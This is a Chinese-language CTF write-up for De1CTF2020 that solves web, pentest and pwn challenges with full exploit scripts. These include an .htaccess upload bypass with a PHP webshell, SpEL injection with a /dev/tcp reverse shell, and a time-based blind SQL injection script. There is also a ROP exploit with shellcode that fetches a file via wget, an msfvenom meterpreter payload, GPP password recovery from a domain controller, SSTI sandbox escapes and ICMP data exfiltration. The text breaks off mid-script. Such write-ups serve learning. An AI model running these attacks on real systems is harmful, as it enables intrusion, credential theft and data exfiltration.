De1CTF2020 Writeup

神仙难度, 被各路强队按在地上暴打, 题目出的很全面, 文件上传, xss, SSTI, 渗透, 甚至pwn都有, 质量也很高, 学习到了很多新的知识, 我还是太菜了, 只能全程给队友喊666

想起去年的De1CTF2019, 我还在XMan的训练营, 真实令人怀念, 这次大哥也来了, 可惜峰哥和ver大哥没能上线, 期待能再见到完全体的 Kap0k

更新进度 6/8

check_in

welcome to 2020De1ctf

solved: 147

points: 120

文件上传题

先传一个一句话, 发现有文件类型限制, 改一下文件名和类型, 发现有waf

测试一下, 发现可以传.htaccess

这就很简单了, 和[XNUCA2019] EzPHP的非预期一样, 直接用\绕过即可

脚本如下

import requests
import base64
import re

url = "http://129.204.21.115/"
sess = requests.Session()
def upload():
sess.get(url)
htaccess = b"""
AddType application/x-httpd-p\\
hp .png
"""
data = {
"upload": "submit"
}
files = [
("fileUpload",(".htaccess", htaccess, "image/gif"))
]
res = sess.post(url, files=files, data=data).text
path = re.findall(r"Your dir : (.+) <br>", res)[0]
filename = re.findall(r"Your files :(.+)<br>", res)[0]
print(f"[+] file: {filename}")
print(f"[+] path: {path}")

shell = b"<?= system('cat /flag');"
data = {
"upload": "submit"
}
files = [
("fileUpload",("c.png", shell, "image/gif"))
]
res = sess.post(url, files=files, data=data).text
path = re.findall(r"Your dir : (.+) <br>", res)[0]
filename = re.findall(r"Your files :(.+)<br>", res)[0]
print(f"[+] file: {filename}")
print(f"[+] path: {path}")
return path + "/" + filename

def get_flag(path):
flag = sess.get(f"{url}{path}").text
print(f"[+] flag: {flag}")

if __name__ == "__main__":
path = upload()
get_flag(path)

结果这是非预期23333

出题人说预期解是cgi执行

我们可以参考一下

flag: De1ctf{cG1_cG1_cg1_857_857_cgll111ll11lll}

calc

Please calculate the content of file /flag

solved: 46

point: 307

进去是个计算器

计算一下, 然后抓个包可以看到api

可以看到有两个点, 一个是spel, java的表达式语言, 第二个是openrasp, 是一个开源waf

https://www.angelwhu.com/paper/2019/05/12/rasp-technology-implementation/#0x00-%E6%A6%82%E5%BF%B5

这个waf是应用程序级的waf, 也就是hook了jvm提供的函数接口, 而不是对参数做校验

过滤如下

- T\s*\(
- \#
- new
- java\.lang
- Runtime
- exec.*\(
- getRuntime
- ProcessBuilder
- start
- getClass
- String

其实这个题一开始确实没什么思路做, 主要还是java太菜了, 直到第二天的下午队友 @kk 突然发现这个题的waf挂掉了2333

截图是在反弹shell后上去看的

然后就简单很多了, 直接用字符串拼接绕过即可

"".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[15].invoke\
("".class.forName("java.l"+"ang.Ru"+"ntime").getDeclaredMethods()[7].invoke(null),"whoami")

如果有waf的话是这样, 会被拦截掉命令执行

waf挂了话, 会直接返回一个执行的id

这样就说明命令执行了

至于反弹shell的话, java在执行命令的时候与一般的有不同, 具体的差别可以参考

https://blog.spoock.com/2018/11/25/getshell-bypass-exec/

/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/xxx.xxx.xxx.xxx/9999<&1

然后上去cat /flag

如果是有waf的情况下, 可以直接读文件, 这里参考 @sissel 的payload

"".class.forName("java.nio.ByteBuffer").wrap("".class.forName("java.nio.file.Files").readAllBytes("".class.forName("java.nio.file.Paths").get("/flag"))).get({})

最后get的地方逐位遍历一下即可

flag:De1CTF{NobodyKnowsMoreThanTrumpAboutJava}

mixture

我相信你是一个“真”的web手

i believe you are a “true” web Ctfer

solved: 11

point: 666

这是个硬核的pwn题…

sql注入

进去后随便登录, 在member.php这里存在一个注入点

这个点当时测了很久很久, 一直没有变化, 甚至一度怀疑这是个假的点….

@kk fuzz很久之后发现这里还是有变化的

而如果前面加上列名则没有效果

这就很奇怪, 不太懂后端的实现是什么样的

后面搜到了原题

https://xz.aliyun.com/t/5503#toc-1

界面也很接近

试了下这个payload可以用

orderby=is+not+null,+(case+when+(ascii(mid(database(),1,1))=116)+then+(select+benchmark(5000000,sha(1))+from+users+limit+1)+else+null+end)

附上队友的注入脚本

import requests as req
import time
url = "http://49.51.251.99/"
sess = req.Session()

def login():
sess.get(url)
data = {
"username": "admin1",
"password": "admin1",
"submit": "submit"
}
sess.post(f"{url}index.php", data=data)
# print(sess.get(f"{url}member.php").text)

def sqli():
flag = ''
index = 1

while(1):

l = 0
r = 127
m = (l+r)//2

while l<r:
paramsGet = {"orderby":"is not null, (case when (ascii(mid(((select password from member where id=1)),{},1))>{}) then (select benchmark(1000000,sha(1)) from users limit 1) else null end)".format(index, m)}
# first req to get cache
res = sess.get("http://49.51.251.99/member.php", params=paramsGet)
# print(paramsGet)
try:
# time blind sqli
res = sess.get("http://49.51.251.99/member.php", params=paramsGet, timeout=1)
r = m
except Exception as e:
l = m + 1
finally:
m = (l+r)//2
flag += chr(m)
index += 1
print(f"[*]flag: {flag}")

if __name__ == "__main__":
login()
sqli()

注入的结果为

然后就可以登录去做pwn了hhhhh

.so拓展逆向

admin有两个界面, 一个任意文件读, 一个是phpinfo, 先看任意文件读

/etc/passwd正常

再看phpinfo, 有个自己写的拓展 (也可以结合源码来找这个拓展名

思路和之前[SUCTF2019] Cocktail's Remix比较类似, 通过任意文件读来下载自定义的拓展.so审计, 然后pwn他hhhh

可以看到拓展的路径在这里

写了个down的脚本

import requests

sess = requests.Session()
url = "http://49.51.251.99/"
# url = "http://134.175.185.244/"
# auto renew session
def remote_login():
data = {
"username": "admin",
'password': "goodlucktoyou",
'submit': "submit"
}
sess.post(url, data=data)

# connect remote
def remote(filename):
remote_login()
data = {"submit":"submit","search":filename}
response = sess.post(url + "select.php", data=data).content
index = response.rfind("<br>".encode())
text = response[index + 4:]
print(text)
# download(filename, text)
return text

# download file
def download(filename, text):
filename = filename[filename.rfind("/") + 1:]
print("[+] write %s" %(filename))
f = open(filename, "wb")
f.write(text)
f.close()

if __name__ == "__main__":
# local("/readflag")
remote("/usr/local/lib/php/extensions/no-debug-non-zts-20170718/Minclude.so")

下载下来后想自己看看, 发现还有花指令, 在这个函数

就丢给队里的pwn爷爷和re爷爷来做了, 解开花指令后大概是这样

很明显有一个栈溢出, 这里就需要写rop了, 为了让pwn爷爷们能做的更开心, 屁颠屁颠的参考题目环境写了一个dockerfile

libc为2.28

FROM php:7.2-apache-buster

ENV TZ=Asia/Shanghai

COPY files /tmp/

RUN sed -i 's/deb.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list \
&& sed -i 's/security.debian.org/mirrors.aliyun.com/g' /etc/apt/sources.list \
&& apt-get update -y; apt-get install -y net-tools wget apt-utils vim gdb git \
&& cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini \
&& git clone https://gitee.com/Reimu_hongbai/peda.git ~/peda \
&& echo "source ~/peda/peda.py" >> ~/.gdbinit \
&& echo "extension=Minclude" >> /usr/local/etc/php/php.ini \
&& echo "<?php phpinfo();" > /var/www/html/phpinfo.php \
&& mv /tmp/index.php /var/www/html/ \
&& mv /tmp/Minclude.so /usr/local/lib/php/extensions/no-debug-non-zts-20170718/

WORKDIR /var/www/html

EXPOSE 80

后面在想题目的后续操作, 根目录看不到/flag的话, 一般有三种RCE后的思路

  • ls /
  • find / -iname “*flag*“
  • /readflag

测了下, 这道题是第三种, 并且是需要交互的/readflag

这里推荐 @zedd 师傅的仓库 https://github.com/ZeddYu/ReadFlag

当然像我这么懒的人, 肯定是用

trap '' 14
/readflag

简单粗暴

等到 @q4n 爷爷写好了exp

import requests
from pwn import *
sess = requests.Session()
url = "http://49.51.251.99/"
# auto renew session
def remote_login():
data = {
"username": "admin",
'password': "goodlucktoyou",
'submit': "submit"
}
sess.post(url, data=data)


# connect remote
def remote1(filename):
remote_login()
data = {"submit":"submit","search":filename}
response = sess.post(url + "select.php", data=data).content
# index = response.rfind("<br>".encode())
text = response
print(text)
# download(filename, text)




# download file
def download(filename, text):
filename = filename[filename.rfind("/") + 1:]
print("[+] write %s" %(filename))
f = open(filename, "wb")
f.write(text)
f.close()


# test in local docker
def local(filename):
url = "http://ip:8085/"
data = {
"search": filename
}
resp = requests.post(url, data=data).content
print(resp)
# return resp
context.arch="amd64"
libc = None
stack = None


def genpayload():
global DEB
# srv
if DEB:
libc = 0x00007f77c0d7c000
stack = 0x00007ffc81aa4000
else:
libc = 0x7f2fb414d000
stack = 0x7ffc338fa000


system = 0x00449C0+libc
pdi=0x0000000000023a5f+libc
psi=0x000000000002440e+libc
pdx=0x0000000000106725+libc
pcx=0x00000000000e898e+libc
pbx=0x000000000002d0d9+libc
print(hex(pbx))
xa=0x0000000000098385+libc
one = libc+0x4484f
mprotect = libc+0x0F4200
ret = 0x000000000002235f+libc
# 0x0000000000106724 : pop r10 ; ret
p10 = 0x0000000000106724+libc
# 0x00000000000351d4 : add rdi, r10 ; jmp rdi
jdi = 0x00000000000351d4 + libc
# 0x0000000000106723 : pop rdx ; pop r10 ; ret
pdxp=0x0000000000106723+libc


# 0x000000000003a2b2 : mov rdi, r9 ; call rdx
pr = 0x000000000003a2b2+libc
getsp = 0x00000000000a35c6+libc # : lea ecx, dword ptr [rax + 1] ; lea r9, qword ptr [rsp + 0x28] ; call rbx


payload = 'a'.ljust(0x88,'\x00') #padding


payload += flat(pdi,stack)
payload += flat(psi,0x21000)
payload += flat(pdx,7)
payload += p64(mprotect)


payload += flat(pbx,pbx)
payload += p64(getsp)
payload += flat(pdxp,jdi)
payload += p64(0xdeadbeef)
payload += flat(pdxp,jdi)
payload += p64(0x30) #r10
payload += p64(pr)
payload += '\x90'*0x28
# shellcode place
code64="""
sub rsp,0x200
xor rax,rax
xor rsi, rsi
push rsi


call here
.string "/bin/sh"
.byte 0
here:
pop rdi


call here2
.string "/tmp/verver"
.byte 0
here2:
pop rdx


call here3
.string "/usr/bin/wget"
.byte 0
here3:
pop r8


call here4
.string "http://ip:2333/"
.byte 0
here4:
pop r9


call here6
.string "-O"
.byte 0
here6:
pop rsi


call here5
.string "/tmp/verver"
.byte 0
here5:
pop rbx


push 0
push rdx
push rdi


push rsp
pop rsi


xor rdx,rdx
mov al,0x3b
syscall
cmp rax, 0
jnz ex
loop:
nop
jmp loop
ex:
int 3
"""
payload += asm(code64)
return payload


DEB = 0
if __name__ == "__main__":
if DEB:
local(genpayload())
else:
remote1(genpayload())

跑一下, 拿到shell

flag: De1CTF{47ae3396-f5ce-47ab-bb64-34b5154064c4}

Hard_pentest1

flag is not in the web server flag不在web服务器

solved: 45

point: 312

文件上传

老实讲我一直以为webshell就能拿一个flag的…

上来是一个代码审计

<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}

function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);

if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>

后缀名限制使用大写即可pHp

文件内容的限制比较麻烦, 原本可以直接用p神的payload

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

但是发现多了一个;的过滤

去看了下php的手册

经过队友 @crzz 的指点后, 发现可以这样

<? $_++ ?>
<? $_++ ?>

也就是把每个语句独立出来, 后面看了 @sissel 的payload, 发现用,也可以….

<?=[$_=[],
$_=@"$_",
$_=$_['!'=='@'],
$____='_',
...

思路还是没有打开2333

这里需要注意的是, 由于是在php 7.2, evalassert都不能动态拼接, 我是先写了一个

<?php
($_GET[_])($_GET[__],$_GET[___]);

这样的马来执行file_put_contents, 从而写入一句话, 具体的payload如下

生成的脚本



res = []
# get a and _
prefix ='''
$_=[];
$_=@"$_";
$_=$_['!'=='@'];
$___=$_;
$__='_';
'''.split()
res.extend(prefix)
# get _GET
GET = "GET"
for i in GET:
for time in range(ord(i) - ord("A")):
res.append("$_++;")
res.append("$__.=$_;")
res.append("$_=$___;")
# ($_GET[_])($_GET[__],$_GET[___]);
res.append("(${$__}[_])(${$__}[__],${$__}[___]);")
with open("shell.php", "w") as f:
for i in res:
f.write(f"<?= {i.strip()[:-1]} ?>")
f.write("\n")
f.close()

注意里面的$_GET[_]要写成

${$__}[_]

这样的形式才能正常执行, 然后上传马

import requests
import re
session = requests.Session()
def upload():
paramsPost = {"submit":"submit"}
paramsMultipart = [('file', ('cj.pHp', "<?= \x24_=[] ?>\r\n<?= \x24_=@\"\x24_\" ?>\r\n<?= \x24_=\x24_['!'=='@'] ?>\r\n<?= \x24___=\x24_ ?>\r\n<?= \x24__='_' ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24__.=\x24_ ?>\r\n<?= \x24_=\x24___ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24__.=\x24_ ?>\r\n<?= \x24_=\x24___ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24_++ ?>\r\n<?= \x24__.=\x24_ ?>\r\n<?= \x24_=\x24___ ?>\r\n<?= (\x24{\x24__}[_])(\x24{\x24__}[__],\x24{\x24__}[___]) ?>\r\n\r\n\r\n", 'application/octet-stream'))]
response = session.post("http://47.113.219.76/index.php", data=paramsPost, files=paramsMultipart)
path = re.findall("uploads/.+pHp", response.text)
return path[0]

def getshell(path):
paramsGet = {"__":"cjm00n.php","___":"<?php eval(\x24_POST['a']);?>","_":"file_put_contents"}
url = "http://47.113.219.76/" + path
response = session.get(url, params=paramsGet)
index = len(path) - path.rfind("/") - 1
print("[+] shell:")
print(url[:-index] +"cjm00n.php")
print("[+] pass: a")

if __name__ == "__main__":
path = upload()
getshell(path)

蚁剑连上去, 然后就自闭了

渗透

蚁剑存在的一些问题

  1. 目录有缓存

    这个很致命, 有时候你以为你看到文件还在, 实际上已经没有了

  2. 有些目录看不见

    这个在这次比赛坑了我好久, 明明是有文件的目录, 进去之后是空的, 还以为是权限不够

还是cmd好用2333

下面是练习时长两天半的渗透指南

我们现在拿到的shell为web server, 一般也称为跳板机, 而内网中存在域控机器, 位置在192.168.0.12

我们用msf去拿shell, 我在公网的vps上装了一个msf来用

首先生成一个反弹shell的exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=9001 -f exe >shell.exe

在vps上面启动msf

msfconsole

这里要注意监听的端口和生成的exe端口要一致

然后用蚁剑传到服务器上面并运行

然后我们就可以收到反弹shell了

切换到这个session

sessions 1

看一下网络信息

netstat -ano

可以发现有另一台机器在192.168.0.12

挂上代理后扫描一下这台机器, 发现有

> nmap -sC -sV -O -Pn -p22,80,135,139,445 192.168.0.12
Nmap scan report for 192.168.0.12
Host is up (0.55s latency).
PORT STATE SERVICE VERSION
22/tcp closed ssh
80/tcp closed http
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows 98 netbios-ssn
445/tcp open microsoft-ds (primary domain: DE1CTF2020)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port445-TCP:V=7.01%I=7%D=5/2%Time=5EAD78FC%P=x86_64-pc-linux-gnu%r(SMBP
SF:rogNeg,6D,"\0\0\0i\xffSMBr\0\0\0\0\x88\x01@\0\0\0\0\0\0\0\0\0\0\0\0\0\0
SF:@\x06\0\0\x01\0\x11\x07\0\x0f2\0\x01\0\x04A\0\0\0\0\x01\0\0\0\0\0\xfc\x
SF:f3\x01\0\x92\x1e\x10\xa4\x87\x20\xd6\x01\x20\xfe\x08\$\0fe\xb9S\xa2\xae
SF:\xff\xd2D\0E\x001\0C\0T\0F\x002\x000\x002\x000\0\0\0D\0C\0\0\0");
Service Info: Host: DC; OSs: Windows, Windows 98; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_98


Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.36 seconds

我们通过net use来探查一下他的smb

net user /domain

可以看到有个HintZip_Pass用户

net user HintZip_Pass /domain

再看一下域控的信息

这里有两个重要的文件, 先看hint

先用

net use e: \\192.168.0.12\Hint

挂载, 然后跳转

cd /d e:

在cmd中跳转盘符需要加上/d

有个压缩包, 下载下来后发现是加密的, 结合前面的用户名, 可以猜测那个用户的密码就是压缩包的密码

回到前面的地方

下面还有一个文件夹SYSVOL

这个会用来存放一下组策略的东西, 同样挂载上, 进去看看

我们使用

tree

看一下目录结构

这里发现有个Groups文件夹, 有GPP漏洞, 可以用来拿密码

kali解密一下即可看到密码

打开压缩包, 看到flag和下一关的hint

flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}


Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)


PS: Please do not damage the environment after getting permission, thanks QAQ.

flag: De1CTF{GpP_11Is_SoOOO_Ea3333y}

Hard_Pentest_2

Please solve Hard_Pentest_1 first

solved: 5

point: 833

渗透第二步, hint在上面, 试了很久连进去都进不去….

太自闭了

mc_logclient

一个游戏日志客户端

A game logging client.

Here’s your useful tool to write log file without joining in the game. nc SERVER-IP 6000 env: python3.8

common network protocol

solved: 3

point: 909

这道题目就很离谱

给了代码, 先看一下

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author: impakho
# @Date: 2020/04/12
# @Github: https://github.com/impakho

from flask import Flask, request, Response, session, render_template_string
import posix, os, sys, signal, random, time, datetime, string, hashlib, json, threading
from uuid import UUID

def rand_str(length=16):
return ''.join(random.sample(string.ascii_letters + string.digits, length))

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)

# Some bad words.
blacklist = ['+', ',', ':', '\'\'', '""', '%', 'lower', 'upper', 'builtin', 'fork', 'exec', 'walk', 'open', 'spawn', 'reload', 'exit', 'bin', 'sh', 'cat', 'config', 'secret', 'key', 'flag']

# Posix is a bad module, filter it all.
for i in dir(posix):
blacklist.append(i.lower())

random.seed(time.time())

def printableFilter(s):
return ''.join(filter(lambda x: x in string.printable[:-2], s))


@app.route('/')
def index():
html = '<link rel="stylesheet" href="https://unpkg.com/purecss@1.0.0/build/pure-min.css">\n<div class="pure-g"><div class="pure-u-1-5"></div><div class="pure-u-3-5"><p><h1>Minecraft Log Web Client</h1></p>\n<span style="color:red;">[IMPORTANT WARNING]<br>\n<span style="margin-left: 30px;">For ATTACKER: your log file is public! Please try some tricks to keep your payload in secret, or may leak and stealed by others.</span><br>\n<span style="margin-left: 30px;">For STEALER: you may facing XSS attack by ATTACKER.</span><br>\nHave fun! lol. @impakho</span>\n<p><a class="pure-button" href="/source">Source Code</a></p>\n<table class="pure-table pure-table-horizontal" style="width:100%;">\n<thead><tr><th>Filename</th></tr></thead>\n<tbody>\n'

filelist = ''

for root, dirs, files in os.walk('./logs/'):
for name in files:
filelist += '<tr><td><a href="read?filename=' + name + '">' + name + '</a></td></tr>\n'

if len(filelist) <= 0:
html += '<tr><td><i>empty</i></td></tr>\n'
else:
html += filelist

html += '</tbody>\n</table>\n</div><div class="pure-u-1-5"></div></div>'

return Response(html, mimetype='text/html')


@app.route('/pow')
def pow():
text = rand_str()
result = hashlib.sha256(text.encode()).hexdigest()

session['text'] = text[:12]
session['result'] = result

return Response(json.dumps({'text': text[:12], 'hash': result}), mimetype='application/json')


@app.route('/read')
def read():
if not checkPoW(session, request.args.get('work')):
return Response('PoW check fail.', mimetype='text/html')

filename = request.args.get('filename')

try:
val = UUID(filename, version=4)
except ValueError:
return Response('Not a valid UUID filename.', mimetype='text/html')

try:
fp = open('./logs/' + filename, 'r')
except:
return Response('File not exist.', mimetype='text/html')

binary = printableFilter(fp.read())
fp.close()

# Check blacklist
for i in blacklist:
if i in binary.lower():
return Response('Bad log file.', mimetype='text/html')

# Do some replacement
binary = binary.replace(' ', '').replace('<', '&lt;').replace('>', '&gt; ').replace('\n', '<br />\n')
html = '<link rel="stylesheet" href="https://unpkg.com/purecss@1.0.0/build/pure-min.css">\n<div class="pure-g"><div class="pure-u-1-5"></div><div class="pure-u-3-5"><p><h1>Minecraft Log Web Client</h1></p>File <' + filename + '><p>\n'

session['filename'] = filename

html += binary

html += '\n</p></div><div class="pure-u-1-5"></div></div>'

return Response(renderHandler(session, html), mimetype='text/html')


@app.route('/write')
def write():
if not checkPoW(session, request.args.get('work')):
return Response('PoW check fail.', mimetype='text/html')

if 'w' not in session or 'filename' not in session:
return Response('Select a log file first.', mimetype='text/html')

text = request.args.get('text')

if text == None or len(text) <= 0:
return Response('Text is empty.', mimetype='text/html')

if len(text) > 512 or not all(c in string.printable for c in text):
return Response('Invalid text format.', mimetype='text/html')

try:
# Write to stdout
print(session['filename'] + ' ' + text + '\n')

# Write to log/log.txt
open('log/log.txt', 'a').write(session['filename'] + ' ' + text + '\n')

# Write to child
w = os.fdopen(session['w'], 'w')
w.write(text)
w.close()
del session['w']
except:
return Response('Write fail.', mimetype='text/html')

return Response('Write succ.', mimetype='text/html')


@app.route('/source')
def source():
html = open(__file__).read()

return Response(html, mimetype='text/plain')


def checkPoW(session, work):
if 'text' not in session or 'result' not in session or work == None:
return False

text = session['text']
result = session['result']

del session['text']
del session['result']

if len(text) != 12 or len(result) != 64 or len(work) != 4:
return False

if hashlib.sha256((text + work).encode()).hexdigest() != result:
return False

return True


def renderHandler(session, html):
renderCleanUp(session)

# For security, fork a child process to render.

r, w = os.pipe()
session['w'] = w

pid = os.fork()

if pid:
os.close(r)

# Check child process status, and wait it to finish
thread = waitThread(pid)
thread.start()

else:
signal.signal(signal.SIGALRM, kill)
signal.alarm(30)

os.close(w)
r = os.fdopen(r, 'r')
sys.stdin = r

try:
render_template_string(html)
except:
pass
kill(None, None)

return html


def renderCleanUp(session):
try:
os.close(session['w'])
except:
pass


def kill(signum, frame):
os.kill(os.getpid(), signal.SIGKILL)


class waitThread(threading.Thread):
def __init__(self, pid):
threading.Thread.__init__(self)
self.pid = pid


def run(self):
count = 0
while True:
if count >= 30:
try:
os.kill(self.pid, signal.SIGKILL)
except:
break
try:
os.waitpid(self.pid, os.WNOHANG)
except:
break
count += 1
time.sleep(1)


if __name__ == '__main__':
app.permanent_session_lifetime = datetime.timedelta(minutes=5)
app.run(host='0.0.0.0', port=80, debug=False)

可以明显看到有个SSTI的地方

try:
render_template_string(html)
except:
pass

当时就想, 嗯简单题

可以看到有waf

# Some bad words.
blacklist = ['+', ',', ':', '\'\'', '""', '%', 'lower', 'upper', 'builtin', 'fork', 'exec', 'walk', 'open', 'spawn', 'reload', 'exit', 'bin', 'sh', 'cat', 'config', 'secret', 'key', 'flag']

# Posix is a bad module, filter it all.
for i in dir(posix):
blacklist.append(i.lower())

看起来问题不大, 主要的点是过滤了%, 这样就只能用\{\{这种语法了

还有一个是这里过滤了''"", 比赛的时候一直以为是过滤了单双引号…

再分析一下代码

首先是read的地方

@app.route('/read')
def read():
if not checkPoW(session, request.args.get('work')):
return Response('PoW check fail.', mimetype='text/html')
filename = request.args.get('filename')
try:
val = UUID(filename, version=4)
except ValueError:
return Response('Not a valid UUID filename.', mimetype='text/html')
try:
fp = open('./logs/' + filename, 'r')
except:
return Response('File not exist.', mimetype='text/html')

binary = printableFilter(fp.read())
fp.close()
# Check blacklist
for i in blacklist:
if i in binary.lower():
return Response('Bad log file.', mimetype='text/html')

# Do some replacement
binary = binary.replace(' ', '').replace('<', '&lt;').replace('>', '&gt; ').replace('\n', '<br />\n')
session['filename'] = filename
return Response(renderHandler(session, html), mimetype='text/html')

去掉了一部分不重要的, 首先有个checkpow, 逻辑比较简单, 看一下代码就可以知道怎么过了( 比较丑陋, 随缘一点

def get_work(text, result):
chrset = string.ascii_letters + string.digits
for c1 in chrset:
for c2 in chrset:
for c3 in chrset:
for c4 in chrset:
s4 = c1 + c2 + c3 + c4
tmp_result = hashlib.sha256((text + s4).encode()).hexdigest()
if tmp_result == result:
# print(f"[*] right work: {s4}")
return s4

然后是校验文件名, 无法目录穿越

val = UUID(filename, version=4)

后面是读文件, waf检测, 再传给renderHandler

def renderHandler(session, html):
renderCleanUp(session)
# For security, fork a child process to render.
r, w = os.pipe()
session['w'] = w
pid = os.fork()
if pid:
os.close(r)
# Check child process status, and wait it to finish
thread = waitThread(pid)
thread.start()
else:
signal.signal(signal.SIGALRM, kill)
signal.alarm(30)
os.close(w)
r = os.fdopen(r, 'r')
sys.stdin = r
try:
(render_template_string(html))
except:
pass
kill(None, None)

return html

注意这里虽然有个ssti, 但是内容并没有return, 返回的还是原来的html, 所以这里是一个blind ssti

try:
(render_template_string(html))
except:
pass
kill(None, None)
return html

write函数不用看, 没有什么用

传payload的部分则是通过nc上去传

nc 134.175.230.10 6000

先给一个用户名

注意这里如果直接ctrl+c退出的话, log文件会被删除, 所以我们先留着

然后去读文件的地方读一下就可以看到文件内容了

<link rel="stylesheet" href="https://unpkg.com/purecss@1.0.0/build/pure-min.css">
<div class="pure-g"><div class="pure-u-1-5"></div><div class="pure-u-3-5"><p><h1>Minecraft Log Web Client</h1></p>File <9cce850f-4e63-4298-9f71-1a4f32a1c906><p>
1588589230<cjm00n> payload<br />

</p></div><div class="pure-u-1-5"></div></div>

返回的文件如下, 实际上写在文件中应该是这样

1588533506<cjm00n>payload

并且payload长度限制大概在128位长

分析就大概这么多, 题目思路比较明确, 并且给了python版本3.8, 先整一个类似的环境, 然后跑一下

参考这个博客 https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#python3

直接添加一个测试页

@app.route("/test")
def test():
payload = request.args.get('p')
for i in blacklist:
if i in payload:
return Response('bad in %s' % i, mimetype='text/html')
return Response(render_template_string(payload), mimetype='text/html')

简单的测试后会发现, 这个waf绕起来很方便23333

这里给出两个payload

{{[].__class__.__bases__[0].__subclasses__()[108].__init__.__globals__[request.args.a][request.args.b](request.args.c)}}
{{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b)}}

先看payload1, 前面是获取Object类, 然后108对应的是

后面本来是

.__init__.__globals__['__builtins__']['eval']('__import__("os").system("whoami")')

但是由于存在waf, 我们用

request.args.a

也就是url传参来绕过前面的黑名单waf

传参的方式如下

params = {'work':work, 'filename':filename, "a": "__builtins__", "b": "eval", "c":'whoami'}

payload2同理, 不过用的类不同, 这次是一个os相关的类

直接利用这个类里面的system去执行命令

params = {'work':work, 'filename':filename, "a": "system", "b": "whoami"}

这道题到这里就可以执行命令了, 但是当时怎么打都打不通, 一度以为是类的排序不同, 还写了fuzz脚本, 赛后问了 @sissel, 他经过测试, 题目服务器tcp和udp的流量都不能出网, 结合题目给出的hint

common network protocol

猜测是icmp, 事实上也确实是icmp, 我们可以通过ping命令的-p参数来外带数据, 但是有两个限制

  1. 每次携带16个byte
  2. 数据需要用hex编码

参考了 @sissel的做法, 我们先引入一个os.popen来执行我们要注入的代码, 然后再引入一个encode进行编码, 最外面则是利用os.system来执行ping进行外带数据

calc = 'rm /tmp/pipe; mkfifo /tmp/pipe ; cat /tmp/pipe | /readflag |(read l;read l;echo "$(($l))" > /tmp/pipe;cat)'
cmd = """__import__("os").system(b"ping ip -s 500 -c 1 -p '"+__import__("codecs").encode(bytes(__import__("os").popen('{}').read()[0:],'ascii'), "hex")+b"'")""".format(calc)

简化一下就是

ping ip -c 1 -p hex(`cmd`)

而这里执行的calc 是来自 https://github.com/ZeddYu/ReadFlag/blob/master/bash.md, 用于解决题目的/readflag

我们用pwntools写一个交互脚本

from pwn import *
import re
import requests
context.log_level = "DEBUG"
ip = "134.175.230.10"
port = 6000
def get_work(text, result):
chrset = string.ascii_letters + string.digits
for c1 in chrset:
for c2 in chrset:
for c3 in chrset:
for c4 in chrset:
s4 = c1 + c2 + c3 + c4
tmp_result = hashlib.sha256((text + s4).encode()).hexdigest()
if tmp_result == result:
# print(f"[*] right work: {s4}")
return s4

def read(uuid, cmd):
url = "http://134.175.230.10:6001"
sess = requests.Session()
res1 = sess.get(url + '/pow')
text = re.findall(r'"text": "(.+?)"', res1.text)[0]
hash = re.findall(r'"hash": "(.+?)"', res1.text)[0]
work = get_work(text, hash)
params = {'work':work, 'filename':uuid, "a": "__builtins__", "b": cmd}
res2 = sess.get(url + '/read', params=params)
log.info(re.findall('\{\{.+\}\}', res2.text)[0])
return res2.status_code

def attack(i):
io = remote(ip, port)
io.recvuntil(":")
io.sendline("cjm00n")
uuid = re.findall(b"(\w{8}-\w{4}-\w{4}-\w{4}-\w{12})", io.recvuntil("> "))[0]
